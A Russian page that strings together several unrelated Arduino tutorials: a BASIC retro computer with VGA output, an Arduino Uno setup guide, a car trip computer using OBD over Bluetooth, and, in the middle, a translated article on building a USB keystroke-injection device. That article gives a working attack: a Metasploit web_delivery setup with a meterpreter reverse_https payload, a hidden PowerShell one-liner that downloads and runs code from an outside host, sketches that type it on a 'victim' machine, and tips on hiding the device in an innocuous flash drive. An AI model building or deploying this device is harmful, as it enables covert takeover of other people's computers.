C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.

Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.

Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.

Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.

Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.

1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой

TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.
Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.

Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».

Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.

В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.

И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).

Для примера, можно набрать:

10 PRINT "Hello, World!" 20 GOTO 10 RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).

Теперь подключим PS/2 клавиатуру.

2. Подключаем PS/2 клавиатуру к основному Arduino

Информация и библиотека были взяты из этого материала.

По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.

Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.

Распиновка PS/2 разъема есть на рисунке:

3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным

Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.

Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.

ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.

Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).

Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.

Для этого нужно:

• два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
• разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
• резисторы: 2 на 68 Ом и 2 на 470 Ом
• разъем PS2
• провода
• необязательно: макетная плата

Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!

Видео, как это всё работает:

Вы стали счастливым обладателем платы Arduino. Что же делать дальше? А дальше нужно подружить Arduino с компьютером. Мы рассмотрим начало работы с Arduino Uno в операционной системе Windows.

1. Установка Arduino IDE

Для начала нужно установить на компьютер интегрированную среду разработки Arduino - Arduino IDE.

Установка Arduino IDE с помощью инсталлятора избавит вас от большинства потенциальных проблем с драйверами и программным окружением.

2. Запуск Arduino IDE

После того как вы загрузили и установили Arduino IDE, давайте запустим её!

Перед нами окно Arduino IDE. Обратите внимание - мы ещё не подключали нашу плату Arduino Uno к компьютеру, а в правом нижнем углу уже красуется надпись «Arduino Uno on COM1». Таким образом Arduino IDE сообщает нам, что в данный момент она настроена на работу с целевой платой Arduino Uno. А когда придёт время, Arduino IDE будет искать Arduino Uno на порту COM1.

Позже мы поменяем эти настройки.

Что-то пошло не так?

Arduino IDE не запускается? Вероятно на компьютере некорректно установлена JRE (Java Runtime Environment). Обратитесь к пункту (1) для переустановки Arduino IDE: инсталлятор сделает всю работу по развёртыванию JRE.

3. Подключение Arduino к компьютеру

После установки Arduino IDE пришло время подключить Arduino Uno к компьютеру.

Соедините Arduino Uno с компьютером через USB-кабель. Вы увидите, как на плате загорится светодиод «ON», и начнёт мигать светодиод «L». Это означает, что на плату подано питание, и микроконтроллер Arduino Uno начал выполнять прошитую на заводе программу «Blink» (мигание светодиодом).

Чтобы настроить Arduino IDE на работу с Arduino Uno, нам необходимо узнать, какой номер COM-порта присвоил компьютер Arduino Uno. Для этого нужно зайти в «Диспетчер устройств» Windows и раскрыть вкладку «Порты (COM и LPT)». Мы должны увидеть следующую картину:

Это означает, что операционная система распознала нашу плату Arduino Uno как COM-порт, подобрала для неё правильный драйвер и назначила этому COM-порту номер 7. Если мы подключим к компьютеру другую плату Arduino, то операционная система назначит ей другой номер. Поэтому, если у вас несколько плат Arduino, очень важно не запутаться в номерах COM-портов.

Что-то пошло не так?

4. Настройка Arduino IDE на работу с Arduino Uno

Теперь нам необходимо сообщить Arduino IDE, что плата, с которой ей предстоит общаться, находится на COM-порту «COM7».

Для этого переходим в меню «Сервис» → «Последовательный порт» и выбираем порт «COM7». Теперь Arduino IDE знает - что-то находится на порту «COM7». И с этим «чем-то» ей вскоре предстоит общаться.

Чтобы у Arduino IDE не осталось никаких сомнений, необходимо прямо указать: «Мы будем использовать Arduino Uno!». Для этого переходим в меню «Сервис» → «Плата» и выбираем нашу «Arduino Uno».

Что-то пошло не так?

Список последовательных портов пуст? Значит Arduino Uno некорректно подключена. Вернитесь к пункту (3), чтобы отладить соединение.

Arduino IDE невероятно тормозит при навигации по меню? Отключите в диспетчере устройств все внешние устройства типа «Bluetooth Serial». Например, виртуальное устройство для соединения с мобильным телефоном по Bluetooth может вызвать такое поведение.

Среда настроена, плата подключена. Теперь можно переходить к загрузке скетча.

Arduino IDE содержит очень много готовых примеров, в которых можно быстро подсмотреть решение какой-либо задачи. Есть в ней и простой пример «Blink». Давайте выберем его.

Немного модифицируем код, чтобы увидеть разницу с заводским миганием светодиода.

Вместо строчки:

Delay(1000 ) ;

Delay(100 ) ;

Полная версия кода:

/* Blink Turns on an LED on for one second, then off for one second, repeatedly. This example code is in the public domain. */ // Pin 13 has an LED connected on most Arduino boards. // give it a name: int led = 13 ; // the setup routine runs once when you press reset: void setup() { // initialize the digital pin as an output. pinMode(led, OUTPUT) ; } // the loop routine runs over and over again forever: void loop() { digitalWrite(led, HIGH) ; // turn the LED on (HIGH is the voltage level) delay(100 ) ; // wait for a second digitalWrite(led, LOW) ; // turn the LED off by making the voltage LOW delay(100 ) ; // wait for a second }

Теперь светодиод «L» должен загораться и гаснуть на десятую часть секунды. То есть в 10 раз быстрее, чем в заводской версии.

Загрузим наш скетч в Arduino Uno и проверим, так ли это? После загрузки светодиод начнёт мигать быстрее. Это значит, что всё получилось. Теперь можно смело переходить к «Экспериментам »

Что-то пошло не так?

В результате загрузки появляется ошибка вида avrdude: stk500_get sync(): not in sync: resp = 0x00 ? Это значит, что Arduino настроена некорректно. Вернитесь к предыдущим пунктам, чтобы убедиться в том, что устройство было распознано операционной системой и в Arduino IDE установлены правильные настройки для COM-порта и модели платы.

10 октября 2017 в 21:09

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

• DIY или Сделай сам

• Перевод

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5 , на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток - вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB - вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.

#include

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery . Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

Set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit .

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

Use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");

Теперь можем запустить это с флэшки.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам - всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд - это немалое время, особенно когда прячешься от драконов.

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/");"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro - это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

Примерно за 25 долларов мы сделаем бортовой компьютер, умеющий считать расход топлива, показывать температуру охлаждающей жидкости, скорость авто, расстояние поездки, потраченный бензин за поездку, обороты двигателя, давление во впускном коллекторе, температуру впускного коллектора, УОЗ и многое другое. Сброс ошибок доступен в режиме |--recovery--| (как зайти написано ниже). Опрос данных из эбу происходит примерно 2 раза в секунду.

Еще фото

Список требуемых деталей для сборки БК

1) Arduino Uno R3 - 1 шт. ~ 7 долларов:

2) LCD2004 жк-модуль ~ 6 долларов:

3) Модуль Bluetooth HC-05 ~ 4 доллара:

4) OBD ELM327 Bluetooth сканер ~ 4 доллара:

5) Резистор 5 кОм подстроечный, бипер для звука, 2 кнопки для смены экранов, провода для соединений, корпус ~ 3 доллара.

Настройка блютуз модуля HC-05 для работы

Подпаиваем провода к пинам блютуза: (картинку с выходами смотреть в описании требуемых деталей )

• 1 - это TX
• 2 - это RX
• 12 - это 3.3V
• 13 - это GND
• 34 - на этот вход тоже кидаем 3,3 V (нужен для перевода модуля в режим настройки с помощью AT команд).

Подключаем блютуз модуль к ардуине.

• 1 - TX модуля в 6 пин ардуины. (внимание будет TX в TX это не ошибка!)
• 2 - RX модуля в 7 пин ардуины. (аналогично не ошибка!)
• 12 - и 34 пин к 3,3V ардуины.
• 13 - GND ардуины.

Открываем Aduino IDE и заливаем скетч через USB порт в плату.

#include
SoftwareSerial BTSerial(6, 7); // TX | RX
void setup()
{
Serial.begin(9600);
Serial.println(«Enter AT commands:»);
BTSerial.begin(38400);
}

void loop()
{
if (BTSerial.available())
Serial.write(BTSerial.read());
if (Serial.available())
BTSerial.write(Serial.read());
}

После успешной загрузки скетча открываем: Сервис->Монитор порта . Далее снизу ставим скорость 9600 бод и NL+CR вместе.

AT // (возможно 1 раз вылетит Error, не пугайтесь… это нормально, повторите опять)
AT+NAME=Car //Присваиваем имя модулю Car
AT+ROLE=1 // Переводим модуль в режим Мастер
AT+PSWD=1234 // Ставим пароль 1234 как на OBD ELM327
AT+BIND=AABB,CC,112233 //Прописываем Mac адрес OBD ELM327.
AT+CMODE=1 // Подключение модуля с фиксированным адресом

Заметьте, что mac-адрес вида: «AA:BB:CC:11:22:33» вводится как «AABB,CC,112233». MAC- адрес своего модуля ELM327 можете посмотреть, подключившись для начала на него со своего мобильника. (Стандартные пароли обычно: 1234, 6789, 0000).

Всё, настройка модуля Bluetooth закончена.

Теперь нужно Собираем схему Arduino, блютуз, lCD-экран

1.Начнем с подключения HC-05 Bluetooth модуля.

• 1 - TX модуля засовываем в 7 Pin (Rx) арудины (именно TX в RX, не так как ранее);
• 2 - RX модуля засовываем в 8 Pin (Tx) арудины;
• 12 - Pin (3,3V) модуля в Pin 3,3V ардуины;
• 13 - Pin (Gnd) в Gnd арудуины;
• 34 - Pin мы никуда не подключаем (заизолируйте или отпаяйте).

2. Подключаем монитор LCD.

• VSS экрана к GND ардуины;
• VDD экрана к 5V ардуины;
• V0 экрана к центральному выходу резистора;
• RS экрана к 12 пину ардуины;
• RW экрана к GND ардуины;
• E экрана к 11 пину ардуины;
• DB4 экрана к 5 пину ардуины;
• DB5 экрана к 4 пину ардуины;
• DB6 экрана к 3 пину ардуины;
• DB7 экрана к 2 пину ардуины;
• A - к 5V ардуины;
• K - GND ардуины.

Оставшиеся ноги резистора: одну пустить на GND ардуины, а вторую на 5V ардуины.

Переменный резистор на 5кОм нужен, чтобы управлять контрастностью монитора, так что если при первом включении вы включите и ничего не увидите, попробуйте отрегулировать контрастность шрифта поворотом резистора.

3. Подключаем дополнительную кнопку для переключения экранов с данными.

: один конец от нормально-открытой кнопки подключаем в GND ардуино, а второй конец в пин 10.
: GND + пин 9.

Бипер для звуковых предупреждений подключить по следующей схеме "+" к пину 13, а минус к GND ардуино.

Заливаем скетч в Arduino с помощью Arduino IDE

Единственное, в скетче присутствует переменная, которую нужно поправить в соответствии с объёмом вашего автомобиля. Скетч написан так, чтобы было понятно каждому и любой мог исправить что захочет.

Нужно будет обязательно учесть три переменных:

1) ED=2.000 Например объем двигателя в литрах 1.398;
2) VE=80.00 Объёмный КПД ДВС: обычно в районе 80 (если расход реально меньше - то уменьшаем значение в процентном соотношении). Если не хотите калибровать добейтесь чтобы при прогретом двигателе мгновенный расход в л/час был в районе половины обьема двигателя;
3) tcorrect=1.014 (калибровка времени).

Возможно, Arduino будет не точно считать время с помощью комманды millis()… Тут только вручную корректировать значение. На экране «технологический 2» будет указаны секунды: например, time_start: 23. Сравните значение с реальным. Для примера засеките 10 минут, когда значение time_start будет, например, равно 23. И выйдет, что через 600 секунд реально покажет 605. Итого 623-605=18 секунд отставание в ардуинке. То есть поправочный коэффициент tcorrect будет равен 623/605=1,02975.

Управление

[Кнопка 1], [кнопка 2] - листать экран вперед назад.
При включении при надписи Connecting… держать [кнопку 1] вход в режим показывания технологических экранов и параметров отдаваемых ЭБУ в десятичном формате. Если будете включать БК не в машине то нужно отключить функцию опроса блютуз, надо продолжать держать две кнопки при надписи |---Recovery--|… а то экран будет пустой.

[Кнопка 1] + [кнопка 2]: 4 секунды - Сброс журнала общего пробега и потраченного бензина.